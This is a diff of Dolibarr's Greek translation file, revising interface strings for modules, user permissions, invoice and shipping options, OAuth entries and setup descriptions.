      Εάν θέλετε την προεπιλεγμένη τιμή μόνο αν η url έχει κάποια παράμετρο, μπορείτε να χρησιμοποιήσετε %s AlsoDefaultValuesAreEffectiveForActionCreate=Λάβετε επίσης υπόψη ότι η αντικατάσταση προεπιλεγμένων τιμών για τη δημιουργία φόρμας λειτουργεί μόνο για σελίδες που σχεδιάστηκαν σωστά (με την παράμετρο action=create ή presend...) EnableDefaultValues=Ενεργοποίηση εξατομίκευσης των προεπιλεγμένων τιμών -EnableOverwriteTranslation=Ενεργοποιήστε τη χρήση αντικατασταθείσας μετάφρασης +EnableOverwriteTranslation=Να επιτρέπεται η τροποποίηση των μεταφράσεων GoIntoTranslationMenuToChangeThis=Έχει βρεθεί μετάφραση για το κλειδί με αυτόν τον κωδικό. Για να αλλάξετε αυτήν την τιμή, πρέπει να την επεξεργαστείτε από το μενού Αρχική-Ρυθμίσεις-Μετάφραση. WarningSettingSortOrder=Προειδοποίηση, ο ορισμός μιας προεπιλεγμένης σειράς ταξινόμησης μπορεί να οδηγήσει σε τεχνικό σφάλμα κατά τη μετάβαση στη σελίδα της λίστας εάν το πεδίο είναι άγνωστο. Εάν αντιμετωπίσετε ένα τέτοιο σφάλμα, επιστρέψτε σε αυτήν τη σελίδα για να καταργήσετε την προεπιλεγμένη σειρά ταξινόμησης και να επαναφέρετε την προεπιλεγμένη συμπεριφορά. Field=Πεδίο @@ -545,7 +548,7 @@ Module2Desc=Εμπορική διαχείριση Module10Name=Λογιστική (απλουστευμένη) Module10Desc=Απλές λογιστικές αναφορές (ημερολόγια, κύκλος εργασιών) με βάση το περιεχόμενο της βάσης δεδομένων. Δεν χρησιμοποιεί κανένα πίνακα καθολικών. Module20Name=Προσφορές -Module20Desc=Διαχείριση εμπορικών προσφορών +Module20Desc=Διαχείριση προσφορών Module22Name=Μαζική αποστολή e-mail Module22Desc=Διαχείριση μαζικής αποστολής email Module23Name=Ενέργεια @@ -609,7 +612,7 @@ Module320Desc=Προσθέστε μια ροή RSS στις σελίδες Dolib Module330Name=Σελιδοδείκτες και συντομεύσεις Module330Desc=Δημιουργήστε συντομεύσεις, πάντα προσιτές, στις εσωτερικές ή εξωτερικές σελίδες στις οποίες έχετε συχνά πρόσβαση Module400Name=Έργα ή προοπτικές -Module400Desc=Διαχείριση έργων, προοπτικών/ευκαιριών ή/και εργασιών. Μπορείτε επίσης να αντιστοιχίσετε οποιοδήποτε στοιχείο (τιμολόγιο, παραγγελία, πρόταση, παρέμβαση, ...) σε ένα έργο και να λάβετε μια εγκάρσια προβολή από την προβολή έργου. +Module400Desc=Διαχείριση έργων, προοπτικών/ευκαιριών ή/και εργασιών. Μπορείτε επίσης να αντιστοιχίσετε οποιοδήποτε στοιχείο (τιμολόγιο, παραγγελία, προσφορά, παρέμβαση, ...) σε ένα έργο και να λάβετε μια εγκάρσια προβολή από την προβολή έργου. Module410Name=Ημερολόγιο ιστού Module410Desc=Ενσωμάτωση ημερολογίου ιστού Module500Name=Φόροι & Ειδικά Έξοδα @@ -643,11 +646,13 @@ Module2300Name=Προγραμματισμένες εργασίες Module2300Desc=Διαχείριση προγραμματισμένων εργασιών (alias cron ή chrono table) Module2400Name=Συμβάντα / Ατζέντα Module2400Desc=Παρακολούθηση συμβάντων. Καταγράψτε αυτόματα συμβάντα για σκοπούς παρακολούθησης ή καταγράψτε μη αυτόματα συμβάντα ή συσκέψεις. Αυτή είναι η κύρια ενότητα για την καλή διαχείριση σχέσεων πελατών ή προμηθευτών. +Module2430Name=Σύστημα Ημερολογίου Κρατήσεων +Module2430Desc=Ενα διαδικτυακό ημερολόγιο για να επιτρέψετε σε οποιονδήποτε να κάνει κράτηση για ραντεβού, σε προκαθορισμένα χρονικά περιθώρια ή διαθεσιμότητες. Module2500Name=DMS / ECM Module2500Desc=Σύστημα Διαχείρισης Εγγράφων / Ηλεκτρονική Διαχείριση Περιεχομένου. Αυτόματη οργάνωση των παραγόμενων ή αποθηκευμένων εγγράφων σας. Μοιραστείτε τα όταν χρειάζεστε. -Module2600Name=Υπηρεσίες API / Web (διακομιστής SOAP) +Module2600Name=API / Web services (SOAP server) Module2600Desc=Ενεργοποιήστε τον διακομιστή SOAP του Dolibarr που παρέχει υπηρεσίες API -Module2610Name=Υπηρεσίες API / Web (διακομιστής REST) +Module2610Name=API / Web services (REST server) Module2610Desc=Ενεργοποιήστε τον διακομιστή REST του Dolibarr που παρέχει υπηρεσίες API Module2660Name=Κλήση Υπηρεσιών Ιστού (SOAP client) Module2660Desc=Ενεργοποίηση του client υπηρεσιών ιστού του Dolibarr (Μπορεί να χρησιμοποιηθεί για την προώθηση δεδομένων/αιτημάτων σε εξωτερικούς διακομιστές. Προς το παρόν υποστηρίζονται μόνο εντολές αγοράς.) @@ -658,6 +663,8 @@ Module2900Name=GeoIP Maxmind Module2900Desc=GeoIP Maxmind conversions capabilities Module3200Name=Αναλλοίωτα αρχεία Module3200Desc=Ενεργοποιήστε ένα αναλλοίωτο αρχείο καταγραφής επιχειρηματικών εκδηλώσεων. Τα συμβάντα αρχειοθετούνται σε πραγματικό χρόνο. Το αρχείο καταγραφής είναι ένας πίνακας μόνο για ανάγνωση των αλυσιδωτών συμβάντων που μπορούν να εξαχθούν. Αυτή η ενότητα μπορεί να είναι υποχρεωτική για ορισμένες χώρες. +Module3300Name=Module Builder +Module3300Desc=Ένα εργαλείο RAD (Rapid Application Development - low-code and no-code) εργαλείο που βοηθά τους προγραμματιστές ή προχωρημένους χρήστες να δημιουργήσουν τη δική τους ενότητα/εφαρμογή. Module3400Name=Κοινωνικά Δίκτυα Module3400Desc=Ενεργοποιήστε τα πεδία Κοινωνικών Δικτύων σε τρίτα μέρη και διευθύνσεις (skype, twitter, facebook, ...). Module4000Name=HRM @@ -698,20 +705,23 @@ Module62000Name=Διεθνείς Εμπορικοί Όροι Module62000Desc=Προσθέστε λειτουργίες για τη διαχείριση των διεθνών εμπορικών όρων Module63000Name=Πόροι Module63000Desc=Διαχειριστείτε πόρους (εκτυπωτές, αυτοκίνητα, δωμάτια, ...) για κατανομή σε εκδηλώσεις -Permission11=Ανάγνωση τιμολογίων πελατών +Module66000Name=Ενεργοποίηση έλεγχου ταυτότητας OAuth2 +Module66000Desc=Παρέχει ένα εργαλείο για τη δημιουργία και τη διαχείριση OAuth2 token. Το token μπορεί στη συνέχεια να χρησιμοποιηθεί από κάποιες άλλες ενότητες. +Module94160Name=Παραλαβές +Permission11=Ανάγνωση τιμολογίων πελατών (και πληρωμές) Permission12=Δημιουργία / τροποποίηση τιμολογίων πελατών Permission13=Ακύρωση τιμολογίων πελατών Permission14=Επικύρωση τιμολογίων πελατών Permission15=Αποστολή τιμολογίων πελατών μέσω ηλεκτρονικού ταχυδρομείου Permission16=Δημιουργία πληρωμών για τιμολόγια πελατών Permission19=Διαγραφή τιμολογίων πελατών -Permission21=Ανάγνωση εμπορικών προτάσεων -Permission22=Δημιουργία / τροποποίηση εμπορικών προτάσεων -Permission24=Επικύρωση εμπορικών προτάσεων -Permission25=Αποστολή εμπορικών προτάσεων -Permission26=Κλείσιμο εμπορικών προτάσεων -Permission27=Διαγραφή εμπορικών προτάσεων -Permission28=Εξαγωγή εμπορικών προτάσεων +Permission21=Ανάγνωση προσφορών +Permission22=Δημιουργία / τροποποίηση προσφορών +Permission24=Επικύρωση προσφορών +Permission25=Αποστολή προσφορών +Permission26=Κλείσιμο προσφορών +Permission27=Διαγραφή προσφορών +Permission28=Εξαγωγή προσφορών Permission31=Ανάγνωση προϊόντων Permission32=Δημιουργία / τροποποίηση προϊόντων Permission33=Ανάγνωση τιμών προϊόντων @@ -830,7 +840,7 @@ PermissionAdvanced253=Δημιουργία / τροποποίηση εσωτερ Permission254=Δημιουργία / τροποποίηση μόνο εξωτερικών χρηστών Permission255=Τροποποίηση κωδικού πρόσβασης άλλων χρηστών Permission256=Διαγραφή ή απενεργοποίηση άλλων χρήστων -Permission262=Επέκταση της πρόσβασης σε όλα τα τρίτα μέρη ΚΑΙ τα αντικείμενά τους (όχι μόνο τρίτα μέρη για τα οποία ο χρήστης είναι αντιπρόσωπος πωλήσεων).
      Δεν είναι αποτελεσματικό για εξωτερικούς χρήστες (περιορίζονται πάντα στους εαυτούς τους για προτάσεις, παραγγελίες, τιμολόγια, συμβάσεις κ.λπ.).
      Δεν ισχύει για έργα (μόνο σε κανόνες για τις άδειες έργων, την προβολή και τα θέματα ανάθεσης). +Permission262=Επέκταση της πρόσβασης σε όλα τα τρίτα μέρη ΚΑΙ τα αντικείμενά τους (όχι μόνο τρίτα μέρη για τα οποία ο χρήστης είναι αντιπρόσωπος πωλήσεων).
      Δεν είναι αποτελεσματικό για εξωτερικούς χρήστες (περιορίζονται πάντα στους εαυτούς τους για προσφορές, παραγγελίες, τιμολόγια, συμβάσεις κ.λπ.).
      Δεν ισχύει για έργα (μόνο σε κανόνες για τις άδειες έργων, την προβολή και τα θέματα ανάθεσης). Permission263=Επέκταση της πρόσβασης σε όλα τα τρίτα μέρη ΧΩΡΙΣ τα αντικείμενά τους (όχι μόνο τρίτα μέρη για τα οποία ο χρήστης είναι αντιπρόσωπος πωλήσεων).
      Δεν είναι αποτελεσματικό για εξωτερικούς χρήστες (περιορίζονται πάντα στους εαυτούς τους για προτάσεις, παραγγελίες, τιμολόγια, συμβάσεις κ.λπ.).
      Δεν ισχύει για έργα (μόνο σε κανόνες για τις άδειες έργων, την προβολή και τα θέματα ανάθεσης). Permission271=Ανάγνωση CA Permission272=Ανάγνωση τιμολογίων @@ -842,9 +852,9 @@ Permission286=Εξαγωγή επαφών Permission291=Ανάγνωση δασμών Permission292=Ορισμός δικαιωμάτων δασμών Permission293=Τροποποίηση δασμών πελατών -Permission300=Ανάγνωση barcodes -Permission301=Δημιουργία / τροποποίηση γραμμωτών κωδικών -Permission302=Διαγραφή γραμμωτών κωδικών +Permission301=Δημιουργια PDF καταστάσεων με barcodes +Permission304=Δημιουργία / τροποποίηση barcodes +Permission305=Διαγραφή barcodes Permission311=Ανάγνωση υπηρεσιών Permission312=Εκχώρηση υπηρεσίας/συνδρομής σε συμβόλαιο Permission331=Ανάγνωση σελιδοδεικτών @@ -895,7 +905,7 @@ Permission651=Δημιουργία / Ενημέρωση καταλόγου υλ Permission652=Διαγραφή καταλόγου υλικών Permission660=Ανάγνωση Εντολής Παραγωγής (MO) Permission661=Δημιουργία/Ενημέρωση Εντολής Παραγωγής (MO) -Permission662=Διαγραφή εντολής κατασκευής (MO) +Permission662=Διαγραφή εντολής παραγωγής (MO) Permission701=Ανάγνωση δωρεών Permission702=Δημιουργία/τροποποίηση δωρεών Permission703=Διαγραφή δωρεών @@ -940,7 +950,7 @@ Permission1190=Έγκριση παραγγελιών αγοράς (δεύτερ Permission1191=Εξαγωγή παραγγελιών προμηθευτών και τα χαρακτηριστικά τους Permission1201=Λήψη αποτελέσματος μιας εξαγωγής Permission1202=Δημιουργία / Τροποποίηση εξαγωγής -Permission1231=Ανάγνωση τιμολογίων προμηθευτή +Permission1231=Ανάγνωση τιμολογίων προμηθευτών (και πληρωμές) Permission1232=Δημιουργία / τροποποίηση τιμολογίων προμηθευτή Permission1233=Επικύρωση τιμολογίων προμηθευτή Permission1234=Διαγραφή τιμολογίων προμηθευτή @@ -971,13 +981,14 @@ Permission3301=Δημιουργία νέων ενοτήτων Permission4001= Ανάγνωση δεξιότητας/δουλειάς/θέσης Permission4002=Δημιουργία/τροποποίηση δεξιότητας/δουλειάς/θέσης Permission4003=Διαγραφή δεξιότητας/δουλειάς/θέσης -Permission4020=Ανάγνωση αξιολογήσεων -Permission4021=Δημιουργία/τροποποίηση ατομικής αξιολόγησης -Permission4022=Επικύρωση αξιολόγησης -Permission4023=Διαγραφή αξιολόγησης -Permission4030=Δείτε το μενού σύγκρισης +Permission4021=Ανάγνωση αξιολογήσεων (δικές σας και των υφισταμένων σας) +Permission4022=Δημιουργία/τροποποίηση αξιολογήσεων +Permission4023=Επικύρωση αξιολόγησης +Permission4025=Διαγραφή αξιολόγησης +Permission4028=Δείτε το μενού σύγκρισης Permission4031=Ανάγνωση προσωπικών πληροφοριών Permission4032=Καταχώριση προσωπικών στοιχείων +Permission4033=Ανάγνωση όλων των αξιολογήσεων (ακόμη και αυτών των μη υφισταμένων χρηστών ) Permission10001=Ανάγνωση περιεχόμενου ιστότοπου Permission10002=Δημιουργία / τροποποίηση περιεχομένου ιστότοπου (περιεχόμενο html και javascript) Permission10003=Δημιουργία / τροποποίηση περιεχομένου ιστότοπου (δυναμικός κώδικας php). Επικίνδυνο, πρέπει να δίνεται μόνο σε προγραμματιστές. @@ -1081,6 +1092,10 @@ DictionaryAssetDisposalType=Είδος διάθεσης περιουσιακών TypeOfUnit=Τύπος μονάδας SetupSaved=Οι ρυθμίσεις αποθηκεύτηκαν SetupNotSaved=Η ρύθμιση δεν αποθηκεύτηκε +OAuthServiceConfirmDeleteTitle=Διαγραφή καταχώρισης OAuth +OAuthServiceConfirmDeleteMessage=Είστε σίγουροι ότι θέλετε να διαγράψετε αυτήν την καταχώριση OAuth; Όλα τα υπάρχοντα token για αυτό θα διαγραφούν επίσης. +ErrorInEntryDeletion=Σφάλμα κατά τη διαγραφή καταχώρισης +EntryDeleted=Η καταχώριση διαγράφηκε BackToModuleList=Επιστροφή στη λίστα Ενοτήτων BackToDictionaryList=Επιστροφή στη λίστα λεξικών TypeOfRevenueStamp=Είδος φορολογικού χαρτόσημου @@ -1205,7 +1220,7 @@ Delays_MAIN_DELAY_TASKS_TODO=Η προγραμματισμένη εργασία Delays_MAIN_DELAY_ORDERS_TO_PROCESS=Η παραγγελία δεν υποβλήθηκε σε επεξεργασία Delays_MAIN_DELAY_SUPPLIER_ORDERS_TO_PROCESS=Η παραγγελία αγοράς δεν υποβλήθηκε σε επεξεργασία Delays_MAIN_DELAY_PROPALS_TO_CLOSE=Η προσφορά δεν έκλεισε -Delays_MAIN_DELAY_PROPALS_TO_BILL=Η προσφορά δεν χρεώθηκε +Delays_MAIN_DELAY_PROPALS_TO_BILL=Η προσφορά δεν τιμολογήθηκε Delays_MAIN_DELAY_NOT_ACTIVATED_SERVICES=Υπηρεσία για ενεργοποίηση Delays_MAIN_DELAY_RUNNING_SERVICES=Ληγμένη υπηρεσία Delays_MAIN_DELAY_SUPPLIER_BILLS_TO_PAY=Ανεξόφλητα τιμολόγια προμηθευτή @@ -1222,7 +1237,7 @@ SetupDescription4=  %s -> %s

      Αυτό το λογι SetupDescription5=Άλλες καταχωρήσεις του μενού Ρυθμίσεις αφορούν σε προαιρετικές παραμέτρους. SetupDescriptionLink= %s - %s SetupDescription3b=Βασικές παράμετροι που χρησιμοποιούνται για την προσαρμογή της προεπιλεγμένης συμπεριφοράς της εφαρμογής σας (π.χ. για λειτουργίες που σχετίζονται με τη χώρα). -SetupDescription4b=Αυτό το λογισμικό είναι μια σουίτα πολλών λειτουργικών ενοτήτων/εφαρμογών. Οι ενότητες που σχετίζονται με τις ανάγκες σας πρέπει να είναι ενεργοποιημένες και ρυθμισμένες. Οι καταχωρήσεις μενού θα εμφανιστούν με την ενεργοποίηση αυτών των ενοτήτων. +SetupDescription4b=Αυτό το λογισμικό είναι μια σουίτα πολλών ενοτήτων/εφαρμογών. Οι ενότητες που σχετίζονται με τις ανάγκες σας πρέπει να είναι ενεργοποιημένες. Οι καταχωρήσεις μενού θα εμφανιστούν με την ενεργοποίηση αυτών των ενοτήτων. AuditedSecurityEvents=Συμβάντα ασφαλείας που ελέγχθηκαν NoSecurityEventsAreAduited=Δεν ελέγχονται συμβάντα ασφαλείας. Μπορείτε να τα ενεργοποιήσετε από το μενού %s Audit=Συμβάντα ασφαλείας @@ -1244,6 +1259,7 @@ AreaForAdminOnly=Οι παράμετροι εγκατάστασης μπορού SystemInfoDesc=Οι πληροφορίες συστήματος είναι διάφορες τεχνικές πληροφορίες που λαμβάνετε μόνο σε λειτουργία ανάγνωσης και είναι ορατές μόνο για τους διαχειριστές. SystemAreaForAdminOnly=Αυτος ο τομεας είναι διαθέσιμος μόνο σε διαχειριστές. Τα δικαιώματα χρήστη Dolibarr δεν μπορούν να αλλάξουν αυτόν τον περιορισμό. CompanyFundationDesc=Επεξεργαστείτε τις πληροφορίες της εταιρείας / του οργανισμού σας. Κάντε κλικ στο κουμπί "%s" στο κάτω μέρος της σελίδας όταν τελειώσετε. +MoreNetworksAvailableWithModule=Ενδέχεται να είναι διαθέσιμα περισσότερα κοινωνικά δίκτυα ενεργοποιώντας την ενότητα "Κοινωνικά δίκτυα". AccountantDesc=Εάν έχετε έναν εξωτερικό λογιστή, μπορείτε να επεξεργαστείτε εδώ τις πληροφορίες του. AccountantFileNumber=Κωδικός λογιστή DisplayDesc=Οι παράμετροι που επηρεάζουν την εμφάνιση και την παρουσίαση της εφαρμογής μπορούν να τροποποιηθούν εδώ. @@ -1253,7 +1269,7 @@ SessionTimeOut=Λήξη χρόνου για τη συνεδρία SessionExplanation=Αυτός ο αριθμός εγγυάται ότι η περίοδος λειτουργίας δεν λήγει πριν από αυτό το χρονικό διάστημα, όταν παρέχεται εκκαθάριση περιόδου λειτουργίας από τον εσωτερικό μηχανισμό καθαρισμού της PHP (και κανένας άλλος). Η εκκαθάριση της εσωτερικής περιόδου λειτουργίας PHP δεν εγγυάται ότι η περίοδος λειτουργίας λήγει ακριβώς αυτήν τη στιγμή. Θα λήξει μετά από αυτό το χρονικό διάστημα, αλλά όταν εκκαθαριστούν οι περίοδοι λειτουργίας, που πραγματοποιείται περίπου κάθε %s/%s προσβάσεις, , αλλά μόνο κατά τις προσβάσεις που πραγματοποιούνται από άλλες περιόδους σύνδεσης (εάν η τιμή είναι 0, αυτό σημαίνει ότι ο καθαρισμός της περιόδου σύνδεσης γίνεται με μια εξωτερική διαδικασία).
      \nΣημείωση: σε ορισμένους διακομιστές που είναι εξοπλισμένοι με μηχανισμό καθαρισμού εξωτερικής συνεδρίας (cron στο Debian, Ubuntu…), οι συνεδρίες μπορούν να καταστραφούν μετά από καθυστέρηση, που ορίζεται από μια εξωτερική διαμόρφωση, ανεξάρτητα από την τιμή που εισάγεται εδώ. SessionsPurgedByExternalSystem=Οι περίοδοι σύνδεσης σε αυτόν τον διακομιστή φαίνεται να καθαρίζονται από έναν εξωτερικό μηχανισμό (cron υπό debian, ubuntu ...), πιθανώς κάθε %s δευτερόλεπτα (= η τιμή της παραμέτρου session.gc_maxlifetime). Η Αλλαγή της τιμή της παραμέτρου από εδώ δεν θα έχει κάποιο αποτέλεσμα. Πρέπει να ζητήσετε από τον διαχειριστή του διακομιστή να αλλάξει την καθυστέρηση συνεδρίας. TriggersAvailable=Διαθέσιμα triggers -TriggersDesc=Τα triggers είναι αρχεία που θα τροποποιήσουν τη συμπεριφορά της ροής εργασίας Dolibarr μόλις αντιγραφουν στον κατάλογο htdocs/core/triggers . Πραγματοποιούν νέες ενέργειες που ενεργοποιούνται σε συμβάντα Dolibarr (δημιουργία νέας εταιρείας, επικύρωση τιμολογίου, ...). +TriggersDesc=Τα triggers είναι αρχεία που θα τροποποιήσουν τη συμπεριφορά της ροής εργασίας Dolibarr μόλις αντιγραφουν στον κατάλογο htdocs/core/triggers . Πραγματοποιούν νέες ενέργειες που ενεργοποιούνται από συμβάντα Dolibarr (δημιουργία νέας εταιρείας, επικύρωση τιμολογίου, ...). TriggerDisabledByName=Τα triggers σε αυτό το αρχείο ειναι απενεργοποιημένα από το επίθημα -NORUN στο όνομά τους. TriggerDisabledAsModuleDisabled=Τα triggers σε αυτό το αρχείο είναι απενεργοποιημένα επειδή η ενότητα %s είναι απενεργοποιημένη. TriggerAlwaysActive=Τα triggers σε αυτό το αρχείο είναι πάντα ενεργά, όποιες κι αν είναι οι ενεργοποιημένες ενότητες Dolibarr. @@ -1261,6 +1277,7 @@ TriggerActiveAsModuleActive=Τα triggers σε αυτό το αρχείο είν GeneratedPasswordDesc=Επιλέξτε τη μέθοδο που θα χρησιμοποιηθεί για κωδικούς πρόσβασης που δημιουργούνται αυτόματα. DictionaryDesc=Εισάγετε όλα τα δεδομένα αναφοράς. Μπορείτε να προσθέσετε τις τιμές σας στην προεπιλογή. ConstDesc=Αυτή η σελίδα επιτρέπει την επεξεργασία (αντικατάσταση) παραμέτρων που δεν είναι διαθέσιμες σε άλλες σελίδες. Αυτές είναι κυρίως δεσμευμένες παράμετροι για προγραμματιστές/ προχωρημένη αντιμετώπιση προβλημάτων μόνο. +MiscellaneousOptions=Διάφορες επιλογές MiscellaneousDesc=Όλες οι άλλες παράμετροι που σχετίζονται με την ασφάλεια ορίζονται εδώ. LimitsSetup=Ρύθμιση Ορίων/Ακριβείας LimitsDesc=Μπορείτε να ορίσετε όρια, ακρίβεια και βελτιστοποιήσεις που χρησιμοποιούνται από το Dolibarr εδώ @@ -1294,6 +1311,8 @@ YouMustRunCommandFromCommandLineAfterLoginToUser=Πρέπει να εκτελέ YourPHPDoesNotHaveSSLSupport=Οι functions SSL δεν είναι διαθέσιμες στην PHP σας DownloadMoreSkins=Περισσότερα skins για λήψη SimpleNumRefModelDesc=Επιστρέφει τον αριθμό αναφοράς με τη μορφή %syymm-nnnn όπου yy είναι το έτος, mm είναι ο μήνας και nnnn είναι ένας διαδοχικός αριθμός αυτόματης αύξησης χωρίς επαναφορά +SimpleRefNumRefModelDesc=Επιστρέφει τον αριθμό αναφοράς στη μορφή n όπου n είναι ένας διαδοχικός αριθμός αυτόματης αύξησης χωρίς επαναφορά +AdvancedNumRefModelDesc=Επιστρέφει τον αριθμό αναφοράς με τη μορφή %syymm-nnnn όπου yy είναι το έτος, mm είναι ο μήνας και nnnn είναι ένας διαδοχικός αριθμός αυτόματης αύξησης χωρίς επαναφορά SimpleNumRefNoDateModelDesc=Επιστρέφει τον αριθμό αναφοράς στη μορφή %s-nnnn όπου nnnn είναι ένας διαδοχικός αριθμός αυτόματης αύξησης χωρίς επαναφορά ShowProfIdInAddress=Εμφάνιση επαγγελματικής ταυτότητας με διευθύνσεις ShowVATIntaInAddress=Απόκρυψη ενδοκοινοτικού ΑΦΜ @@ -1380,7 +1399,7 @@ GetBarCode=Πάρτε barcode NumberingModules=Μοντέλα αρίθμησης DocumentModules=Υποδείγματα εγγράφων ##### Module password generation -PasswordGenerationStandard=Επιστρέφει έναν κωδικό πρόσβασης που δημιουργήθηκε σύμφωνα με τον εσωτερικό αλγόριθμο του Dolibarr: %s χαρακτήρες που περιέχουν κοινόχρηστους αριθμούς και χαρακτήρες με πεζά. +PasswordGenerationStandard=Επιστρέφει έναν κωδικό πρόσβασης που δημιουργήθηκε σύμφωνα με τον εσωτερικό αλγόριθμο του Dolibarr: %s χαρακτήρες που περιέχουν κοινόχρηστους αριθμούς και χαρακτήρες. PasswordGenerationNone=Μην προτείνετε έναν κωδικό πρόσβασης που δημιουργείται. Ο κωδικός πρόσβασης πρέπει να πληκτρολογηθεί μη αυτόματα. PasswordGenerationPerso=Επιστρέφει έναν κωδικό πρόσβασης σύμφωνα με τις προσωπικές σας ρυθμίσεις. SetupPerso=Σύμφωνα με τη διαμόρφωσή σας @@ -1434,6 +1453,10 @@ SuppliersPayment=Πληρωμές προμηθευτών SupplierPaymentSetup=Ρύθμιση πληρωμών προμηθευτή InvoiceCheckPosteriorDate=Ελέγξτε την ημερομηνία του παραστατικού πριν από την επικύρωση InvoiceCheckPosteriorDateHelp=Η επικύρωση ενός τιμολογίου θα απαγορεύεται εάν η ημερομηνία του είναι προγενέστερη από την ημερομηνία του τελευταίου τιμολογίου του ίδιου τύπου. +InvoiceOptionCategoryOfOperations=Εμφάνιση της αναφοράς «κατηγορία πράξεων» στο τιμολόγιο. +InvoiceOptionCategoryOfOperationsHelp=Ανάλογα με την κατάσταση, η αναφορά θα εμφανίζεται με τη μορφή:
      - Κατηγορία πράξεων: Παράδοση αγαθών
      - Κατηγορία πράξεων: Παροχή υπηρεσιών
      - Κατηγορία πράξεων: Μικτή Παράδοση αγαθών & Παροχή υπηρεσιών +InvoiceOptionCategoryOfOperationsYes1=Ναι, κάτω από το μπλοκ διευθύνσεων +InvoiceOptionCategoryOfOperationsYes2=Ναι, στην κάτω αριστερή γωνία ##### Proposals ##### PropalSetup=Ρύθμιση ενότητας εμπορικών προσφορών ProposalsNumberingModules=Υποδείγματα αρίθμησης εμπορικών προσφορών @@ -1476,11 +1499,12 @@ WatermarkOnDraftContractCards=Υδατογράφημα σε προσχέδια ##### Members ##### MembersSetup=Ρύθμιση ενότητας μελών MemberMainOptions=Κύριες επιλογές +MemberCodeChecker=Επιλογές για αυτόματη δημιουργία κωδικών μελών AdherentLoginRequired= Διαχείριση μιας Σύνδεσης για κάθε μέλος AdherentMailRequired=Απαιτείται email για τη δημιουργία νέου μέλους MemberSendInformationByMailByDefault=Το πλαίσιο ελέγχου για την αποστολή επιβεβαίωσης αλληλογραφίας στα μέλη (επικύρωση ή νέα συνδρομή) είναι ενεργοποιημένο από προεπιλογή MemberCreateAnExternalUserForSubscriptionValidated=Δημιουργήστε στοιχεία σύνδεσης εξωτερικού χρήστη για κάθε επικυρωμένη συνδρομή νέου μέλους -VisitorCanChooseItsPaymentMode=Ο επισκέπτης μπορεί να επιλέξει μεταξύ των διαθέσιμων τρόπων πληρωμής +VisitorCanChooseItsPaymentMode=Ο επισκέπτης μπορεί να επιλέξει από οποιονδήποτε διαθέσιμο τρόπο πληρωμής MEMBER_REMINDER_EMAIL=Ενεργοποιήστε την αυτόματη υπενθύμιση μέσω email των ληγμένων συνδρομών. Σημείωση: Η ενότητα %s πρέπει να είναι ενεργοποιημένη και να ρυθμιστεί σωστά για την αποστολή υπενθυμίσεων. MembersDocModules=Πρότυπα εγγράφων για έγγραφα που δημιουργούνται από εγγραφή μέλους ##### LDAP setup ##### @@ -1728,8 +1752,8 @@ NotificationDisableConfirmMessageFix=Απόκρυψη της λίστας παρ SendingsSetup=Ρύθμιση ενότητας αποστολών SendingsReceiptModel=Υπόδειγμα απόδειξης αποστολής SendingsNumberingModules=Ενότητες αρίθμησης αποστόλων -SendingsAbility=Υποστήριξη φύλλων αποστολής για παραδόσεις πελατών -NoNeedForDeliveryReceipts=Στις περισσότερες περιπτώσεις, τα φύλλα αποστολής χρησιμοποιούνται τόσο ως φύλλα για παραδόσεις πελατών (κατάλογος προϊόντων προς αποστολή) όσο και ως φύλλα που παραλαμβάνονται και υπογράφονται από τον πελάτη. Ως εκ τούτου, η παραλαβή των παραδόσεων προϊόντων είναι διπλότυπο χαρακτηριστικό και σπάνια ενεργοποιείται. +SendingsAbility=Υποστήριξη δελτίων αποστολής για παραδόσεις σε πελάτες +NoNeedForDeliveryReceipts=Στις περισσότερες περιπτώσεις, τα δελτία αποστολής χρησιμοποιούνται τόσο ως δελτία για παραδόσεις σε πελάτες (κατάλογος προϊόντων προς αποστολή) όσο και ως δελτία που παραλαμβάνονται και υπογράφονται από τον πελάτη. Ως εκ τούτου, η παραλαβή των παραδόσεων προϊόντων είναι διπλότυπο χαρακτηριστικό και σπάνια ενεργοποιείται. FreeLegalTextOnShippings=Ελεύθερο κείμενο στις αποστολές ##### Deliveries ##### DeliveryOrderNumberingModules=Ενότητα αρίθμησης αποδείξεων παραδόσεων προϊόντων @@ -1742,8 +1766,8 @@ ActivateFCKeditor=Ενεργοποιήστε το προηγμένο πρόγρ FCKeditorForNotePublic=WYSIWYG δημιουργία/έκδοση του πεδίου «δημόσιες σημειώσεις» στοιχείων FCKeditorForNotePrivate=WYSIWYG δημιουργία/έκδοση του πεδίου "ιδιωτικές σημειώσεις" στοιχείων FCKeditorForCompany=WYSIWYG δημιουργία/έκδοση της περιγραφής πεδίου στοιχείων (εκτός προϊόντων/υπηρεσιών) -FCKeditorForProduct=WYSIWYG δημιουργία/έκδοση της περιγραφής πεδίου προϊόντων/υπηρεσιών -FCKeditorForProductDetails=WYSIWYG δημιουργία/έκδοση γραμμών λεπτομερειών προϊόντων για όλες τις οντότητες (προσφορές, παραγγελίες, τιμολόγια κ.λ.π...). Προειδοποίηση: Η χρήση αυτής της επιλογής για αυτήν την περίπτωση δεν συνιστάται, καθώς μπορεί να δημιουργήσει προβλήματα με ειδικούς χαρακτήρες και τη μορφοποίηση σελίδων κατά τη δημιουργία αρχείων PDF. +FCKeditorForProductDetails=WYSIWYG δημιουργία/διόρθωση περιγραφής προϊόντων ή γραμμών για αντικείμενα (γραμμές προσφορών, παραγγελίες, τιμολόγια κ.λπ...). +FCKeditorForProductDetails2=Προειδοποίηση: Η χρήση αυτής της επιλογής για αυτήν την περίπτωση δεν συνιστάται, καθώς μπορεί να δημιουργήσει προβλήματα με ειδικούς χαρακτήρες και τη μορφοποίηση σελίδας κατά τη δημιουργία αρχείων PDF. FCKeditorForMailing= Δημιουργία / έκδοση WYSIWYG για μαζικά eMailings (Εργαλεία-> eMailing) FCKeditorForUserSignature=WYSIWYG δημιουργία/έκδοση υπογραφής χρήστη FCKeditorForMail=Δημιουργία/έκδοση WYSIWYG για όλη την αλληλογραφία (εκτός από Εργαλεία->EMailing) @@ -1766,7 +1790,7 @@ DetailMenuHandler=Πρόγραμμα χειρισμού μενού όπου θα DetailMenuModule=Όνομα ενότητας εάν η καταχώριση μενού προέρχεται από μια ενότητα DetailType=Τύπος μενού (πάνω ή αριστερά) DetailTitre=Ετικέτα μενού ή κωδικός ετικέτας για μετάφραση -DetailUrl=Διεύθυνση URL που σας στέλνει το μενού (Απόλυτος σύνδεσμος URL ή εξωτερικός σύνδεσμος με http://) +DetailUrl=URL στην οποία ανακατευθύνει το μενού (Σχετικός σύνδεσμος URL ή εξωτερικός σύνδεσμος με https://) DetailEnabled=Προϋπόθεση εμφάνισης ή μη εγγραφής DetailRight=Συνθήκη για την εμφάνιση γκρι μενού μη εξουσιοδοτημένων 